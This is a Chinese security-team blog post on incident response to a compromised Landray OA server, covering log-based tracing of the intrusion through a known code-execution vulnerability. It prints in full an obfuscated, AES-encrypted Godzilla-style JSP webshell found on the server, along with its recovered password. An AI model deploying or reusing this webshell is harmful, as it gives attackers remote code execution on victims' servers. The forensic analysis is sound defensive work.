微信公众号:渊龙Sec安全团队
为国之安全而奋斗,为信息安全而发声!
如有问题或建议,请在公众号后台留言
如果你觉得本文对你有帮助,欢迎在文章底部赞赏我们
1# 起因
由于团队成员在服务器部署的蓝凌OA上,发现了一个免杀的JSP后门,既然居家隔离中没事干,就想着跟着一起分析一下
看了一眼,应该是哥斯拉生成的后门,但是用了些混淆代码做了免杀处理
1<%! String xc = "3c6e0b8a9c15224a";
2
3 class X extends u0043u006cu0061u0073u0073u004cu006fu0061u0064u0065u0072 {
4 public X(u0043u006cu0061u0073u0073u004cu006fu0061u0064u0065u0072 z) {
5 super(z);
6 }
7 public Class Q(byte[] cb) {
8 return super.defineClass(cb, 0, cb.length);
9 }
10 }
11
12 public byte[] x(byte[] s, boolean m) {
13
14 try {
15 javax.crypto.Cipher c = javax.crypto.Cipher.uuuuuuuuuuuuuuuuuuuuuu0067u0065u0074u0049u006eu0073u0074u0061u006eu0063u0065("AES");
16 c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
17 return c.uuuuuuuuuuuuuuuuuu0064u006fu0046u0069u006eu0061u006c(s);
18 } catch (Exception e) {
19 return null;
20 }
21 }
22%><%
23 try {
24 byte[] data = new byte[Integer.parseInt(request.getHeader("Content-Length"))];
25 java.io.InputStream inputStream = request.getInputStream();
26 int _num = 0;
27 while ((_num += inputStream.read(data, _num, data.length)) < data.length) ;
28 data = x(data, false);
29 if (session.getAttribute("payload") == null) {
30 session.setAttribute("payload", new X(this.getClass().getuuuuuuuuuuuuuuuuuuuuuuuuuuuuuu0043u006cu0061u0073u0073u004cu006fu0061u0064u0065u0072()).Q(data));
31 } else {
32 request.setAttribute("parameters", data);
33 Object f = ((Class) session.getAttribute("payload")).newInstance();
34 java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
35 f.equals(arrOut);
36 f.equals(pageContext);
37 f.toString();
38 response.getOutputStream().write(x(arrOut.toByteArray(), true));
39 }
40 } catch (Exception e) {
41 }
42%>
通过JSP代码逻辑分析出了后门密码:getInstance
2# 溯源
2.1# 溯源流程
1.首先确定入侵时间
2.通过时间去查看应用日志或者全流量态势感知(辅助分析)
3.定位漏洞所在范围
4.通过态势感知获取入侵IP信息(准备溯源反制)
5.确定存在漏洞的情况
6.修复漏洞
通过发来的文件夹截图,可以确定入侵的时间
可以确定入侵的时间为2022年9月13日-14日
2.2# 日志分析
接下来去查看一下态势感知的日志
查找当时日志,或者前后一天内的日志,发现关键文件login_SRC.jsp
经过分析,我发现:
-
接下来通过Fofa语法确定其他资产
login_SRC.jsp
为攻击者留下的后门 -
攻击者应该使用批量脚本获取Webshell
-
Fofa查询的大量资产都被攻击过
接下来,应该查看攻击日志中的流量细节:
通过该日志信息得知:该攻击者利用蓝凌OA的历史漏洞进行攻击
攻击Payload为蓝凌任意代码执行漏洞(还以为是0day,结果不是),那就没有分析的必要了(这个漏洞公开的分析文章挺多的)
3# 总结
-
溯源工作内容就是不停查日志,只要细心总能找到破绽
-
不知防 焉知攻:只有知道如何防守,才能更好的进攻
原文始发于微信公众号(渊龙Sec安全团队):一次蓝凌OA应急响应的小记
特别标注:
本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
- 我的微信
- 微信扫一扫
-
- 我的微信公众号
- 微信扫一扫
-
评论